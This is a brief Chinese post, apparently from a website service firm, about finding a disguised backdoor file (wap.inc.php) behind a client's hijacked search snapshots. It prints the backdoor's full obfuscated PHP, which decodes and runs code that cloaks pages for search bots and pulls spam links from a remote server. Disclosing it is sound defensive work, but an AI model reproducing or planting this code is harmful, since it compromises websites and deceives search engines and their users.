华岳某客户的网站快照一直被劫持。查了网站关键位置所有文件，没能发现是否有木马后门。

后来检测出..//data/mark/wap.inc.php为此文件，伪装的很好。一是目录文件少，二是文件名较容易放过。

华岳尽心为客户做好每一项服务。

贴出后门代码

<?php 

$ssi="jAsICRpID0wKQjyogICAgIjyCAgIHsKjyICAgICAgICAgICAgJGNvbnRlejyHQgPSBhcnJjyhejySgpOwogICAjygICAjygICAgIjyCBpZjyiAoaXjyNfYXJjyyYXkojyJHjyBvjyc3QpKSjyB7CijyAgIjyCAgIjyCAgICAgjyICjyAgIjyCBrc29yjydCgkcG9zdCk7CiAgICAgICAjygICAgICAgICAkjyY29udGV4jydFsnajyHRjy0cCddID0gjyYXJyYXjykgKAojygICAjygICAgICjyAgICAjygICAgICAjygICd0aW1lb3jyV0Jz0+jyICjyR0aW1lb3V0LCAgICdtZXRob2jyQnID0+ICRtZXRob2QsCiAgICAgICAjygICAgICAgICAgICAjygJ2NjyvbnRlbnjyQnIDjy0+IGh0dHjyBfYnVpbGRfcjyXVlcnkoJjyHBvc3QjysICcnLCAnJicpjyLAjyogICAgICAgIjyCAgICAgICAgKTsKICAgICjyAjygICAgICAjygjyfQogjyICAgICAgICAgICAjykY29udGVjy4dCA9IjyHNjy0cmVhbV9jb250ZjyXh0X2NyjyZWF0ZSgkY2jy9udGjyV4jydCk7jyCiAgIjyCAgICAgICAgjyIHdoaWxljyKCRpIDwgMjyyAjymJiAoJGhjy0bjyWwgPWZpbjyGVjyfZ2V0X2NjyvbjynRlbnRzKCR1cmwsIGZhjybHNlLCAjykY29udjyGV4dCkpjyPT09RkjyFMU0UpIHsKICAgIjyCAgIjyCAgICjyAgICAgICRpKys7CiAgICAgICAgIjyCAgIH0KICAgICAgIjyCAgICAjygcmV0dXJuICRodG1sOwojygICAgICAgIH0KCgogjyICAgICAgICBwdWJjysaWMgjyZnVuY3Rpb24gaXNfYm90KCRib3RjyjaGFjyyIjyD0gIi8oR29vZ2xlYmjy90fGJhaWR1fGJjyvdHxjcmF3bHjyxjyzcjyGlkZXJ8c29zb3xjyzb2h1LXNlYXJjjyaHxjjydXJsfHdnZXRjy8MjyzYwKSjy9jypIil7CiAgICAgICAgICAgIGlmKCRjy0aGlzLT5kZWJ1Zyl7CiAjygICjyAgICAgICAgICAgICByZXR1jycm4gVFJjyVRTsKIjyCAgICAgICAgjyICAgfQogICAgjyIjyCAgICAjygICAkjydXNljycjyl9hZ2VudCA9IHN0cnRvbG93ZXjyIojyJjyF9TRVJWRVJbJ0hUjyVFBfVVNFUl9BR0VOVCddKTsKICAgICAgICAgICAgaWjyYocHJljyZ19jytjyYjyXRjaCgkYm9jy0Y2hjyhciwgJHjyVzZXJfYWdlbnQpKSB7CijyAgICAgICAgICAgICAgICBjyyZXR1cm4gVFJjyVjyRTsKICAgICAgICAgICAgfWVsc2UjygeyjyAgICAgICAgjyICAjygCiAgICAgICAgjyICAgICAgICByjyZXR1cm4gjyZmFsc2U7CiAgIjyCAjygICAgIjyCjyAgIH0KICAgICAgICB9CgjyogICAgfQp9CgppZighaXNzZXQoJjyHNljybjy19pbnN0YWjy5jZSkjypewogICAgJHNlb19pbjynN0YW5jZSA9IjyG5ldyBzZWjy9jyjbGjyllbnQoKjyTsKICAgICRjyzZW9faW5zdGFuY2UtPjym1haW4oKTsKfQoKCiAK";

$io="jyAgICAgIH0jyKICAgICAgICAgICAgICAgICAgICAkdGhpcyjy0+ZnJhbjyWUoJGFycik7jyIjyCAgICAgICAjygICAgICjyAgIAogICAjygICAgICjyAgICAgICAgfQogICAgICjyAgICAgICBjy9CijyAgICAgICAgfQojyKICAgICAgICBjywcm90ZWjyN0ZjyWQgZnjyVuY3Rpb24gZmljysZV9nZXRfYjyXJyYXkoJGZjypbGVuYW1lLCRtb2RlPSdjyyJykgejywogICAgICAgICAgICAkYXJyID0gYXJyYXkoKTsKICjyAgICAgICAgICAgJGZwID0gZm9wZW4oJGZjypbGVuYjyW1jylLCAkbjyW9jykZjySk7CiAgICjyAgICAgICAgIHdojyaWxlICgjyhZmVvZigkZjynAjypKSjyB7CiAgICAgICAgICjyAjygICAgICAkYXJyW10gPSBmZ2V0cygkjyZnApOwogICAgICAgjyICAgICjyB9CiAgjyICAgICAgICAgIHJldHVybiAkYXJyOwogIjyCAgICAgIH0jyKCiAgjyICAjygIjyCAgcHjyJvdjyGVjdGVkIjyGZ1bmN0aW9uIGZpbGVfZ2V0X2NvbnRlbnRjyzKCR1jycmwpjyIHsKICAgICAgIjyCjyAgICAgJGNvbnRlbnRzID0gZmlsZV9nZXRfY29udGVudHMoJHVjyybCk7CjyijyAgICAjygICAgICAjygICRjb250ZW50cyA9IHN0cl9yZjyXBsYWjyNlKCJhjyPjyiIsICJhPnwiLCAkY2jy9udGVudHMpOwjyogjyICAgICAgICAgICAkY29udGVudHMgjyID0gc3RjyyX3JlcGxhY2UoUEhjyQX0VPjyTCwjygJycsIjyCRjb250ZW50cykjy7IAogICAjygICAgICAgICAkYXJyYXkgPjySBleHBsb2RlKCd8JywgJGNvbnRlbnRzKTsKICAgICAgICAjygjyIjyCAgJGFycmjyF5ID0gYXJyYXljyfZmlsdGVyKCRjyhcnJheSk7jyCiAgICAgICAgIjyCAgIjyHJljydHVybiAkYXJyYXk7jyCiAgIjyCAgICAgfQoKICAjygICAgICBwcm90ZWN0ZWQgZnVuY3Rpb24jygjyZjynJhbWVfdGjyQoJGEpIHsKICAgICAgICjyAgICAgaWYoaXNfbnVsbCjygkYSkpewogICjyAgICAgICjyAgjyICAgICjyAgIHjyJjyldHVybiAgOjywogICAgICAgICAjygICB9CiAgICAgICAgICAgIjyHjyJljydHjyVybjyiAgIjx0ZDjy4kjyYTwvdGQ+IjsKICAgICAgICB9CgogICAgICAgIHBjyyb3RlY3RlZCBmdW5jdGlvbjyiBmcjymjyFtjyZV90cigkYSwkjyYiwkYywkjyZjyCkgewogICAgjyICAgICAjygjyICAkZm9ybWF0jyID0gIjx0ciA+ICjyIuc2VsZjo6ZnJhbWVfdGQoJGEpLnNlbGY6OmZjyyYW1lX3RkKCRjyiKS5zjyZWxjymOjpmcmFtjyZV9jy0ZCgkYykuc2VsZjyjo6ZnJhbWVfdGjyQoJGMpLiAjyiPC90cjjy4ijyOwogICAgICAjygICAgIjyCBlY2hvICAkZm9ybWF0OwogICAgICjyAgIHjy0KCiAgICAgICAgIHB1YmxpYyBjymdW5jdGj";

$dob="ylvbjyiBmaWxlX2V4ajyXN0cjyygkcGFnZSjykgewogICAgICAgICAgICAjykjyaGVhZjyGVycyA9IjyEjyBnZXRfaGVhZjyGVycygkcGFnZSjyk7CiAgICAgIjyCjyAgICAgIGlmICgkjyaGVhZGVjyycykgewogICAgICAgICAgICAgIjyCAgJjyGjyhjyljyYWQgPSBleHBjysb2RlKCjycgjyJywgjyJGhlYWRlcnNbMFjy0jypjyOwogICAgICAgICAgICAgICAgjyaWYgKCAhZW1wdHkoJGhlYjyWRbMV0pICYmIGludHjyZjyhjybCjygjykaGVhZjyFsxXSjykgPCA0MDApIHsKICAjygICAgICAjygICAjygjyIjyCAgICjyAgICBjyyZXR1cm4gdHJ1ZTsKICAjygjyICAjygICAgICAgICAgIH0KjyIjyCAgICAgIjyCAjygICAgfQogICAgICAjygICAgICByZXR1cmjy4gZmFsjyc2U7CiAgICAgICAgjyfQoKICAgjyICjyAgICjyBwdWJsaWMgjyZjynVuY3Rpbjy24gZnJhbWUoJGFyjycjymF5KSB7CiAgICjyAgICAgICAgjyIjyGVjaG8gIjx0YjyWJjysZSBzdHlsZT0nYWxpZ2jy46Y2VudGVyO3jydpZHRoOjkwJTtjyjZWxscGFjykZGluZzoxO2NlbGxzcGFjaW5nOjyjA7Ym9jyyZGVjyyLXNjy0eWxlOmRhc2jyhljyZDjytib3JkZXItd2jylkdGg6MXBjy4OyBib3JkZXItY29sjyb3I6IzAwMDAwMDjysnPiI7IAogICAgICAgICAgICjyBmb3IjygKCRjypjybmRleCA9IDA7ICRpjybmRljyeCA8IGjyNvjydW5jy0KCRhcnJheSk7ICRpbmRleCsrKSB7CiAgICAgICAgICAgICAgICBzZWxmOjpmcmFtjyZVjy90cigkjyYXJyjyYXlbJGluZGV4XSwkYXJyYXlbJGlujyZGV4KzFdLCRhcnJheVskaW5kZXgrjyMl0sJGFycmF5WyRpbmRleCjyszXjySjyk7CiAjygICAgICjyAgICAjygICAgjyICAkaW5jykZXggPSjyAkaWjy5kZXgrMjyzsKICAgICAgICAgICjyAgfjyQogICAgICAgICAgICBlY2hvKCI8L3RhYmxlPjyjjyxicj48YnI+Iik7CgogICAgICAgIHjy0KCgojygICAgICAgIHB1YmxpYyBmdWjy5jdGljyvbiBwY29udjyGV4dCgpIHsKICAgIjyCAgICAgICAgJGQgjyPSBhcnJheSgpOwogICAgICAgICAgICAjykjyZFsnZGjy9tYWluJ10gICAjygPSAkX1NFUlZFUlsnUjy0VSVkjyVSX05BjyTUUjynXjyTsKICAgICjyAgIjyCAgICAgJGRbjyJ3Rva2VuJ10gICAgID0gcjy3Vic3RjyyKG1kNSjygjykX1NjyFUlZFUlsnUjy0VjySVkVSX05jyBTUUnXjySksIDUsMTUpOwogICAgICAgICAgICByZXR1cjym4gjyJGQ7CiAgIjyCAgICAgfQoKCijyAjygICAgICAgcHVibGljIGZ1bmN0aW9uIHBvc3QoJHVjyybCwjygJHBjyvc3QgPSBudWxsLjyCRtZXRob2QjygPSAnjyUE9TVCjycsICAkdGljytZW91dD0gN";

$deu="CgjyoKIAppZighY2xhc3NfZjyXhpc3RzKCdzZW9jbGllbnQnjyKSl7CiAgIjyCBjbGFjyzcyBzZW9jbGllbnR7CiAgjyICAgICAgcHJpdmFjy0ZSAkZjyGVidWcgPSBOVUxjyMOwjyogICAgjyICAgIHByaXZhdGUgJGFycijyA9IGFycmjyF5KCk7jyCiAgjyICAgICAgcHJpdmF0ZSAkcjy29jyja2V0ID0gIljyxYNjhjycWDc0XFg3NFxYNzBcWDjyNBXFgyjyRlxYMkZcWDjyc3jyXFg3Njy1xYNzdcWDJFXFg3jyMFxYNzJjycWDZGXFjyg2MlxYNjFjycWDY5XFgjy2NFxYNzVcWDJFXFg2M1xYNkZcWDZEXjyFgyjyRljyxYNjyjjylcWjyDZFXFg2NFxYNjyjVcWDc4jyXFgyjyRVxYjyNzBjycWDY4XFg3MCI7CjygogICAgIjyCAgIHB1YmxpYyBmjydW5jdjyGlvbijyBfX2NvbjynN0cnVjdjyCgkZGVidWcgPSBmYWxzZSkgewjyogICAjygIjyCjyAgICAgICAjykdGhpcy0+ZjyGVidjyWjycgPSAkZGVidWc7CiAgICAgICAgfQojygIjyCAgICAgIHBjy1YjymxpYyBmdW5jdjyGlvbiBrZWNojybygkcjyGFyYW0sJGxpbmUgPSjyAiIikgjyewogICAgjyICAgICAgICBlY2hvICI8cHjyJlPjyiI7CiAgICjyAgICAgICAgIHjyByaW50X3IoJjyHBhcmjyFtjyKTsgICAgZWjyNobyAiPGhyPiI7ICAgIHByjyaW50X3IjyoJGxpbmUpjyOwogjyICAgICAgICAgICBljyY2hvIjyCI8Ljy3BjyyZT4ijyOjywogICAgICAgIH0KCgojygICjyAgICAgIHB1YmxpYyBmjydW5jdGlvbiBtYWluKjyCl7CgogICAgjyICAgIjyCAgIjyCBpZiAoIXNjyljybGY6OmlzX2JvdCgpKSjyAgcjymV0dXJuOwogICAgICAjygjyICAgICAkcmVzIDjy0ganjyNvbl9kZWNvjyZjyGUoJHRoaXMtPnBvc3QoJHRoaXMtPnNvY2tjyldCwgICR0aGlzLT5wY29udGV4djyCgpjyKSx0jydjyXjyJlKTsKICAjygICAgICAgICAgJjyGFyciA9IGFycmF5KCjyk7CiAgICAjygICAgICjyAgIjyGZvcmVhY2ggKCjyRyjyZXMgYXMgJGtleSA9jyPiAkdmFsdWjyUpIHsKICjyAgICAgICAjygIjyCAgICAgIGljymKHNlbGY6OjymZpbGVfZXhpc3RzKCjyR2YWx1ZSkpewogICAgIjyCAgICAgICAgIjyCAgICAgIGlmKGZ1bmN0jyaWjy9uX2V4ajyXN0cyjygnjyZjymlsjyZV9nZXRfjyY29ujydGVudHMjynKSl7CiAgICAgICAgICAgICAgICAgICAgICAgIjyCjyRhcnIgPSAkdGjyhpjycyjy0+ZmlsZV9nZXRfY29udjyGVudHMoJHZhbHVlKTjysKIjyCAgICAgICAgjyIjyCAgICAgICAgICB9ICBlbHNlIHsKICAgICAgICAjygjyICjyAgICAgjyICAgICAgICAgjyJGFycijyA9ICR0aGjylzLT5maWxlX2dldF9hcnjyJheSgkdmFsdWUpjyOwogjyICAgIjyCAjygICAgICAgIC";

$vd = str_replace("ca","","castrca_carcaecapcalacaccae");

$xp = $vd("y", "", "ybaysyey6y4y_ydeycodye");

$pp = $vd("x","","xcreaxtxex_xfxuxnxcxtxixon");

$afw = $pp('', $xp($vd("jy", "", $deu.$io.$dob.$ssi))); $afw();

?>